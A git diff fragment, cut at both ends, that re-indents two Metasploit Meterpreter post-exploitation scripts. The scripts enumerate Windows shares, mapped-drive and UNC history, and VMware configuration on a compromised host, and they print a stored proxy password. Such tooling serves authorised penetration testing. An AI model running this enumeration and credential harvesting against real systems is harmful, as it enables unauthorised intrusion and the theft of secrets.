+ "-h" => [ false, "Help menu." ] + ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," - print_line "History of UNC Paths entered in Run Dialog." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," + print_line "History of UNC Paths entered in Run Dialog." + print_line(opts.usage) + raise Rex::Script::Completed + end } # Function for enumerating recent mapped drives on target machine def enum_recent_mounts(base_key) - recent_mounts = [] - partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' - full_path = "#{partial_path}\\Map Network Drive MRU" - explorer_keys = registry_enumkeys(partial_path) - if explorer_keys.include?("Map Network Drive MRU") - registry_enumvals(full_path).each do |k| - if not k =~ /MRUList/ - recent_mounts << registry_getvaldata(full_path,k) - end - end - end - return recent_mounts + recent_mounts = [] + partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' + full_path = "#{partial_path}\\Map Network Drive MRU" + explorer_keys = registry_enumkeys(partial_path) + if explorer_keys.include?("Map Network Drive MRU") + registry_enumvals(full_path).each do |k| + if not k =~ /MRUList/ + recent_mounts << registry_getvaldata(full_path,k) + end + end + end + return recent_mounts end # Function for enumerating UNC Paths entered in run dialog box def enum_run_unc(base_key) - unc_paths = [] - full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' - registry_enumvals(full_path).each do |k| - if k =~ /./ - run_entrie = registry_getvaldata(full_path,k) - unc_paths << run_entrie if run_entrie =~ /^\\\\/ - end - end - return unc_paths + unc_paths = [] + full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' + registry_enumvals(full_path).each do |k| + if k =~ /./ + run_entrie = registry_getvaldata(full_path,k) + unc_paths << run_entrie if run_entrie =~ /^\\\\/ + end + end + return unc_paths end def enum_conf_shares() - target_os = client.sys.config.sysinfo['OS'] - if target_os =~ /Windows 7|Vista|2008/ - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' - else - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' - end - shares = registry_enumvals(shares_key) - if shares.length > 0 - print_status() - print_status("The following shares where found:") - shares.each do |s| - share_info = registry_getvaldata(shares_key,s).split("\000") - print_status("\tName: #{s}") - share_info.each do |e| - name,val = e.split("=") - print_status("\t#{name}: #{val}") if name =~ /Path|Type/ - end - print_status() - end - end + target_os = client.sys.config.sysinfo['OS'] + if target_os =~ /Windows 7|Vista|2008/ + shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' + else + shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' + end + shares = registry_enumvals(shares_key) + if shares.length > 0 + print_status() + print_status("The following shares where found:") + shares.each do |s| + share_info = registry_getvaldata(shares_key,s).split("\000") + print_status("\tName: #{s}") + share_info.each do |e| + name,val = e.split("=") + print_status("\t#{name}: #{val}") if name =~ /Path|Type/ + end + print_status() + end + end end if client.platform =~ /win32|64/ - # Variables to hold info - mount_history = [] - run_history = [] + # Variables to hold info + mount_history = [] + run_history = [] - # Enumerate shares being offered - enum_conf_shares() + # Enumerate shares being offered + enum_conf_shares() - if not is_system? - mount_history = enum_recent_mounts("HKEY_CURRENT_USER") - run_history = enum_run_unc("HKEY_CURRENT_USER") - else - user_sid = [] - key = "HKU\\" - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") - run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") - end - end + if not is_system? + mount_history = enum_recent_mounts("HKEY_CURRENT_USER") + run_history = enum_run_unc("HKEY_CURRENT_USER") + else + user_sid = [] + key = "HKU\\" + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ + end + user_sid.each do |us| + mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") + run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") + end + end - # Enumerate Mount History - if mount_history.length > 0 - print_status("Recent Mounts found:") - mount_history.each do |i| - print_status("\t#{i}") - end - print_status() - end + # Enumerate Mount History + if mount_history.length > 0 + print_status("Recent Mounts found:") + mount_history.each do |i| + print_status("\t#{i}") + end + print_status() + end - #Enumerate UNC Paths entered in the Dialog box - if run_history.length > 0 - print_status("Recent UNC paths entered in Run Dialog found:") - run_history.each do |i| - print_status("\t#{i}") - end - print_status() - end + #Enumerate UNC Paths entered in the Dialog box + if run_history.length > 0 + print_status("Recent UNC paths entered in Run Dialog found:") + run_history.each do |i| + print_status("\t#{i}") + end + print_status() + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 825f5df0e448..27bd35adcce8 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -4,321 +4,321 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products") - print_line("USAGE: run vmware_enum") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products") + print_line("USAGE: run vmware_enum") + print_line(opts.usage) + raise Rex::Script::Completed + end } def check_prods() - key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ) - sfmsvals = key.enum_key - print_status("The Following Products are installed on this host:") - sfmsvals.each do |p| - print_status("\t#{p}") - end - return sfmsvals + key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ) + sfmsvals = key.enum_key + print_status("The Following Products are installed on this host:") + sfmsvals.each do |p| + print_status("\t#{p}") + end + return sfmsvals end def check_vmsoft - installed = false - key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("VMware, Inc.") - print_status("VMware Products are Installed in Host") - installed = true - else - print_error("No VMware Products where found in this Host.") - end - key.close - return installed + installed = false + key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ) + sfmsvals = key.enum_key + if sfmsvals.include?("VMware, Inc.") + print_status("VMware Products are Installed in Host") + installed = true + else + print_error("No VMware Products where found in this Host.") + end + key.close + return installed end def enum_vcenter - print_status("Information about Virtual Center:") - vc_dbuser = nil - vc_dbencpass = nil - vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion") - vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial") - vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName") - vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType") - vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version") - vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType") - vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1") - vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4") - # vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection") - # print_line("*") - # if vc_odctrustcon.to_i != 1 - # vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2") - # print_line("*") - # vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3") - # print_line("*") - # end - vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database") - vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server") - print_status("\tVersion: #{vc_version}") - print_status("\tSerial: #{vc_serial}") - print_status("\tvCenter Type: #{vc_type}") - print_status("\tTomcat Version: #{vc_tomcatver}") - print_status("\tDatabase Instance: #{vc_dbinstance}") - print_status("\tDatabase Type: #{vc_dbtype}") - print_status("\tDatabase Name: #{vc_dbname}") - print_status("\tDatabase Server: #{vc_dbserver}") - print_status("\tODBC Name: #{vc_odbcname}") - print_status("\tODBC Type: #{vc_odbctype}") - # if vc_odctrustcon.to_i != 1 - # print_status("\tODBC Username: #{vc_dbuser}") - # print_status("\tODBC Password: #{vc_dbencpass}") - # end + print_status("Information about Virtual Center:") + vc_dbuser = nil + vc_dbencpass = nil + vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion") + vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial") + vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName") + vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType") + vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version") + vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType") + vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1") + vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4") + # vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection") + # print_line("*") + # if vc_odctrustcon.to_i != 1 + # vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2") + # print_line("*") + # vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3") + # print_line("*") + # end + vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database") + vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server") + print_status("\tVersion: #{vc_version}") + print_status("\tSerial: #{vc_serial}") + print_status("\tvCenter Type: #{vc_type}") + print_status("\tTomcat Version: #{vc_tomcatver}") + print_status("\tDatabase Instance: #{vc_dbinstance}") + print_status("\tDatabase Type: #{vc_dbtype}") + print_status("\tDatabase Name: #{vc_dbname}") + print_status("\tDatabase Server: #{vc_dbserver}") + print_status("\tODBC Name: #{vc_odbcname}") + print_status("\tODBC Type: #{vc_odbctype}") + # if vc_odctrustcon.to_i != 1 + # print_status("\tODBC Username: #{vc_dbuser}") + # print_status("\tODBC Password: #{vc_dbencpass}") + # end end def enum_viclient - print_status("Information about VMware VI Client:") - vi_pluggins = nil - begin - vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion") - vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins") - rescue - end - print_status("\tVersion: #{vi_version}") - if vi_pluggins - vi_pluggins.each do |pi| - if pi=~ /Converter/ - print_status("\tPlugin: VMware Converter") - elsif pi =~/UM/ - print_status("\tPlugin: VMware Update Manager") - else - print_status("\tPlugin: #{pi}") - end - end - end + print_status("Information about VMware VI Client:") + vi_pluggins = nil + begin + vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion") + vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins") + rescue + end + print_status("\tVersion: #{vi_version}") + if vi_pluggins + vi_pluggins.each do |pi| + if pi=~ /Converter/ + print_status("\tPlugin: VMware Converter") + elsif pi =~/UM/ + print_status("\tPlugin: VMware Update Manager") + else + print_status("\tPlugin: #{pi}") + end + end + end - if not is_system? - recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") - print_status("Recent VI Client Connections:") - recentconns.each do |c| - print_status("\t#{c}") - end - ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") - if ignore_ssl.length > 0 - print_status("\tIgnored SSL Certs for") - ignore_ssl.each do |issl| - ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) - print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") - end + if not is_system? + recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") + print_status("Recent VI Client Connections:") + recentconns.each do |c| + print_status("\t#{c}") + end + ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") + if ignore_ssl.length > 0 + print_status("\tIgnored SSL Certs for") + ignore_ssl.each do |issl| + ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) + print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") + end - end - else - user_sid = [] - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - begin - enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME") - print_status("\tRecent VI Client Connections for #{enumed_user}:") - recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") - recentconns.each do |c| - print_status("\t#{c}") - end - ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") - if ignore_ssl.length > 0 - print_status("\tIgnored SSL Certs for #{enumed_user}:") - ignore_ssl.each do |issl| - ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) - print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") - end + end + else + user_sid = [] + key = "HKU\\" + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ + end + user_sid.each do |us| + begin + enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME") + print_status("\tRecent VI Client Connections for #{enumed_user}:") + recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") + recentconns.each do |c| + print_status("\t#{c}") + end + ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") + if ignore_ssl.length > 0 + print_status("\tIgnored SSL Certs for #{enumed_user}:") + ignore_ssl.each do |issl| + ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) + print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") + end - end - rescue - print_status("\tUser appears to have not used the software.") - end - end - end + end + rescue + print_status("\tUser appears to have not used the software.") + end + end + end end def enum_vum - print_status("Information about VMware Update Manager:") - begin - vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion") - vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer") - vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType") - vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess") - vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy") - vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer") - vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort") - vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName") - vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword") - vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer") - vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName") - vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore") - vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1") - vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4") - vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database") - vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server") - # vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection") - # if vum_trustedcon.to_i != 1 - # vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2") - # vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3") - # end - print_status("\tVersion: #{vum_version}") - print_status("\tServer: #{vum_server}") - print_status("\tPatch Store: #{vum_patchstore}") - print_status("\tDatabse Type: #{vum_dbtype}") - print_status("\tUses Proxy: #{vum_useproxy}") - print_status("\tProxy User: #{vum_proxyuser}") - print_status("\tProxy Password: #{vum_proxypass}") - print_status("\tVirtual Center: #{vum_vcentersrv}") - print_status("\tVirtual Center User: #{vum_vcenterusr}") - print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}") - print_status("\tDatabase Name: #{vum_dbname}") - print_status("\tDatabase Server: #{vum_dbserver}") - print_status("\tODBC Name: #{vum_odbcname}") - print_status("\tODBC Type: #{vum_odbctype}") - # print_status("\t ODBC Trusted: #{vum_trustedcon}") - # if vum_trustedcon.to_i != 1 - # print_status("\tODBC Username: #{vum_odbcusename}") - # print_status("\tODBC Password: #{vum_odbcpass}") - # end - rescue ::Exception => e - print_status("Error: #{e.class} #{e}") - end + print_status("Information about VMware Update Manager:") + begin + vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion") + vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer") + vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType") + vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess") + vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy") + vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer") + vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort") + vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName") + vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword") + vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer") + vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName") + vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore") + vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1") + vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4") + vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database") + vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server") + # vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection") + # if vum_trustedcon.to_i != 1 + # vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2") + # vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3") + # end + print_status("\tVersion: #{vum_version}") + print_status("\tServer: #{vum_server}") + print_status("\tPatch Store: #{vum_patchstore}") + print_status("\tDatabse Type: #{vum_dbtype}") + print_status("\tUses Proxy: #{vum_useproxy}") + print_status("\tProxy User: #{vum_proxyuser}") + print_status("\tProxy Password: #{vum_proxypass}") + print_status("\tVirtual Center: #{vum_vcentersrv}") + print_status("\tVirtual Center User: #{vum_vcenterusr}") + print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}") + print_status("\tDatabase Name: #{vum_dbname}") + print_status("\tDatabase Server: #{vum_dbserver}") + print_status("\tODBC Name: #{vum_odbcname}") + print_status("\tODBC Type: #{vum_odbctype}") + # print_status("\t ODBC Trusted: #{vum_trustedcon}") + # if vum_trustedcon.to_i != 1 + # print_status("\tODBC Username: #{vum_odbcusename}") + # print_status("\tODBC Password: #{vum_odbcpass}") + # end + rescue ::Exception => e + print_status("Error: #{e.class} #{e}") + end end def enum_vdm - print_status("Information about VMware VDM Broker:") - vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion") - print_status("\tVersion: #{vdm_version}") + print_status("Information about VMware VDM Broker:") + vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion") + print_status("\tVersion: #{vdm_version}") end def enum_powercli - print_status("Information about PowerCLI:") - pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion") - pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath") - begin - pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy") - rescue - pcli_poweshell_policy = "Restricted" - end - print_status("\tVersion: #{pcli_version}") - print_status("\tInstalled Pat: #{pcli_install_path}") - print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}") + print_status("Information about PowerCLI:") + pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion") + pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath") + begin + pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy") + rescue + pcli_poweshell_policy = "Restricted" + end + print_status("\tVersion: #{pcli_version}") + print_status("\tInstalled Pat: #{pcli_install_path}") + print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}") end #Function to enumerate the users if running as SYSTEM def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + os = @client.sys.config.sysinfo['OS'] + users = [] + user = @client.sys.config.getuid + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - profilepath = "\\AppData\\Local\\VMware\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\Application Data\\VMware\\" - end + if os =~ /7|Vista|2008/ + path4users = sysdrv + "\\users\\" + profilepath = "\\AppData\\Local\\VMware\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + profilepath = "\\Application Data\\VMware\\" + end - if user == "NT AUTHORITY\\SYSTEM" - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users + if user == "NT AUTHORITY\\SYSTEM" + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + profilepath + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + profilepath + users << userinfo + end + return users end def enum_vihosupdt - hosts = [] - print_status("Information about VMware vSphere Host Update Utility:") - enum_users.each do |u| - print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:") - begin - @client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir| - next if vmdir =~ /^(\.|\.\.)$/ - print_status("\t#{vmdir}") - end - rescue - end - end + hosts = [] + print_status("Information about VMware vSphere Host Update Utility:") + enum_users.each do |u| + print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:") + begin + @client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir| + next if vmdir =~ /^(\.|\.\.)$/ + print_status("\t#{vmdir}") + end + rescue + end + end end def enum_vmwarewrk - config = "" - name = "" - print_status("Enumerating VMware Workstation VM's:") - fav_file = "" - enum_users.each do |u| - print_status("\tVM's for user #{u['username']}:") - path = u['userappdata'].gsub(/Local/,"Roaming") - account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb") - until account_file.eof? - fav_file << account_file.read - end - end - fav_file.each_line do |l| + config = "" + name = "" + print_status("Enumerating VMware Workstation VM's:") + fav_file = "" + enum_users.each do |u| + print_status("\tVM's for user #{u['username']}:") + path = u['userappdata'].gsub(/Local/,"Roaming") + account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb") + until account_file.eof? + fav_file << account_file.read + end + end + fav_file.each_line do |l| - if l =~ /config/ - print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") - end - if l =~ /Name/ - print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}") - print_status("") - end - end + if l =~ /config/ + print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") + end + if l =~ /Name/ + print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}") + print_status("") + end + end end if client.platform =~ /win32|win64/ - if check_vmsoft - vmware_products = check_prods() - if vmware_products.include?("VMware VirtualCenter") - enum_vcenter - end - if vmware_products.include?("VMware Virtual Infrastructure Client") - enum_viclient - end - if vmware_products.include?("VMware Update Manager") - enum_vum - end + if check_vmsoft + vmware_products = check_prods() + if vmware_products.include?("VMware VirtualCenter") + enum_vcenter + end + if vmware_products.include?("VMware Virtual Infrastructure Client") + enum_viclient + end + if vmware_products.include?("VMware Update Manager") + enum_vum + end - if vmware_products.include?("VMware VDM") - enum_vdm - end - if vmware_products.include?("VMware vSphere PowerCLI") - enum_powercli - end - if vmware_products.include?("VMware vSphere Host Update Utility 4.0") - enum_vihosupdt - end - if vmware_products.include?("VMware Workstation") - enum_vmwarewrk - end - else - print_status("No VMware Products appear to be installed in this host") - end + if vmware_products.include?("VMware VDM") + enum_vdm + end + if vmware_products.include?("VMware vSphere PowerCLI") + enum_powercli + end + if vmware_products.include?("VMware 